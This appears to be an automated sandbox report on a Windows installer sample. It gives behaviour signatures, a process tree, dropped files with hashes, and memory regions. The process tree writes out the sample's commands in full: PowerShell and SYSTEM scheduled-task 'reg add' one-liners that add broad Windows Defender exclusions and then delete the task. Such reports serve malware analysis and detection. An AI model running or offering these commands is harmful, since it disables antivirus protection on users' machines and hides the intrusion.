Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/08/2026, 23:05

General

  • Target
    install_q0.3.03.exe
  • Size 25.8MB
  • Sample260830-23b35atxds
  • SHA256 c81552f4b3afebb14b92749d519e6c5680750a8d10b48182b314cb1beebd6a08
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q0.3.03.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q0.3.03.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1320
  • C:\Users\Public\gMnqAj\dC8pTG.exe
    "C:\Users\Public\gMnqAj\dC8pTG.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1020
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\gMnqAj\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3788
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\gMnqAj\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2932
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5536
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4360
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5804
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1836
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1400
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2300
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5824
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2320
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3880
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4724
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4948
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5768
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5072
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:6108
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5792
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3560
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5684
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1680
                      • C:\Users\Public\gMnqAj\dC8pTG.exe
                        "C:\Users\Public\gMnqAj\dC8pTG.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1412
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4072
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\gMnqAj" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5600
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\gMnqAj" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5460
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5564
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3644

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 b31df04eb3fa66a36ca9c4353590235288fdb2ab2fe845c9757e05b654a72cdf
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\gMnqAj\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 dbbbeabc9130aa4b57542d298590c00b42d23cd25f18ef5e9182aa1a0ac29d8f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\gMnqAj\adoresd.dat
                              • Size 4.7MB
                              • SHA256 d67b9535d85a2bf0fb80268b0554fe5f6d37effed205fae0745ffaab7a93b057
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              dC8pTG.exe

                              • Path C:\Users\Public\gMnqAj\dC8pTG.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\gMnqAj\msadox.tb
                              • Size 8KB
                              • SHA256 c769a38353ac67936820211eea40745011591de4783e8bc28da0fe449c5a1664
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1020-599-0x0000022E6A020000-0x0000022E6A02A000-memory.dmp

                              memory/1020-598-0x0000022E6A2D0000-0x0000022E6A382000-memory.dmp

                              memory/1020-597-0x0000022E6A030000-0x0000022E6A04E000-memory.dmp

                              memory/1020-593-0x0000022E69FD0000-0x0000022E69FF2000-memory.dmp

                              memory/1320-1-0x00000000004D0000-0x00000000004DC000-memory.dmp

                              memory/1320-525-0x0000000000480000-0x000000000048E000-memory.dmp

                              memory/1320-0-0x0000000000480000-0x000000000048E000-memory.dmp

                              memory/1320-503-0x00007FFDA4470000-0x00007FFDA4482000-memory.dmp

                              memory/1320-526-0x00007FFDA4470000-0x00007FFDA4482000-memory.dmp

                              memory/1412-590-0x00007FFDB0650000-0x00007FFDB0652000-memory.dmp

                              memory/1412-588-0x000001C0F5E10000-0x000001C0F6697000-memory.dmp

                              memory/1412-587-0x000001C0F5E10000-0x000001C0F6697000-memory.dmp

                              memory/1412-582-0x000001C0F5E10000-0x000001C0F6697000-memory.dmp

                              memory/1412-581-0x00007FFDB0660000-0x00007FFDB0662000-memory.dmp

                              memory/1412-589-0x000001C0F5E10000-0x000001C0F6697000-memory.dmp

                              memory/1412-573-0x00007FFD8DA50000-0x00007FFD8DF6E000-memory.dmp

                              memory/1412-586-0x000001C0F5E10000-0x000001C0F6697000-memory.dmp

                              memory/1412-577-0x000001C0F5E10000-0x000001C0F6697000-memory.dmp

                              memory/3388-540-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-566-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-557-0x000001BE5C480000-0x000001BE5C4CE000-memory.dmp

                              memory/3388-564-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-567-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-558-0x000001BE5DD80000-0x000001BE5DE0A000-memory.dmp

                              memory/3388-559-0x000001BE5DD80000-0x000001BE5DE0A000-memory.dmp

                              memory/3388-561-0x000001BE5DD80000-0x000001BE5DE0A000-memory.dmp

                              memory/3388-551-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-547-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-546-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-545-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-544-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-562-0x000001BE5DD80000-0x000001BE5DE0A000-memory.dmp

                              memory/3388-539-0x00007FFDB0660000-0x00007FFDB0662000-memory.dmp

                              memory/3388-538-0x000001BE5E7C0000-0x000001BE5F047000-memory.dmp

                              memory/3388-532-0x00007FFD8DA50000-0x00007FFD8DF6E000-memory.dmp

                              memory/3388-531-0x00007FFDB0650000-0x00007FFDB0652000-memory.dmp